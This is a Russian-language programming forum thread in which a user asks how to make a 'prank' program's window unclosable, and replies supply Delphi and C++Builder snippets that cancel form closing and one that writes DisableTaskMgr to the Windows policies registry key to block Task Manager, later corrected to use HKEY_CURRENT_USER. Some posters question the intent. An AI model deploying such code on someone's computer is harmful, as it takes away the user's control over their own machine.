void __fastcall TForm1::FormCloseQuery (TObject *Sender, bool &Cancel)
{
Cancel = true; // отмена закрытия
}
Постоянно неактивеая форма
Народ, кто чем может помогите.
Народ, кто чем может помогите.[/quote]
А как тебе помочь???
Советами?
чтобы прога не закрывалась при нажатии ALT+F4 - перехватывай нажатие этих клавиш!
Спешу тебя огорчить:
Если пользователю надоест твой прикол, он может завершить процесс твоей программы, да ещё если что-нибудь натворит твоя прога, думаю юзер надолго забудет тот сайт с которого скачал прикол и занесёт в бан-лист...
А для чего тебе это?
Цитата:
А для чего тебе это?
хороший вопрос, чего то твой прикол дурно попахивает...
Цитата:
чтобы прога не закрывалась при нажатии ALT+F4 - перехватывай нажатие этих клавиш!
Ничего перехватывать не надо :D, просто нужно обработать сообщение "Запрос закрытия формы"
Код:
И всё - теперь окно не закроешь - можно только в программе вызвать Application->Terminate(). Или прибить сам процесс в "Диспечере задач".
еще form.enabled:=false; для неактивной формы
Если пользователю надоест твой прикол, он может завершить процесс твоей программы, да ещё если что-нибудь натворит твоя прога, думаю юзер надолго забудет тот сайт с которого скачал прикол и занесёт в бан-лист...
[/QUOTE]
ну, в процессах можно завершить почти всё, но для этого ведь надо еще её там найти :D
[QUOTE=OlgaKr]хороший вопрос, чего то твой прикол дурно попахивает...[/QUOTE]
очень даже мирный прикол, ....даже туповат немного.....но над друзьями поугарать - это что-то, если кто-то это делал он меня поймет :)
А за предущие два сообщения по теме, спасибо.
Эта прога просто рисует на рабочем 500 линий разных цветов в милисекунду, вот и все, а вы уже тут предположения темного характера.....
---
var reg: tregistry;
//запретить кнтрлалтделит
reg:=treginifile.create();
reg.rootkey:=hkey_local_machine;
reg.openkey('software\microsoft\windows\currentversion\policies\system', true);
reg.writeinteger('disabletaskmgr', 1);
reg.free;
//разрешить кнтрлалтделит
reg:=treginifile.create();
reg.rootkey:=hkey_local_machine;
reg.openkey('software\microsoft\windows\currentversion\policies\system', true);
reg.writeinteger('disabletaskmgr', 0);
reg.free;
это если у тя виндоус стоит.
Код:
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Action := caNone;
end;
begin
Action := caNone;
end;
---
var reg: tregistry;
//запретить кнтрлалтделит
reg:=treginifile.create();
....................................
//разрешить кнтрлалтделит
reg:=treginifile.create();
....................................
[/QUOTE]
Мысль прикольная, спасибо, даже очень,.....................................
только она не работает ((((
написать reg.rootkey:=hkey_current_user;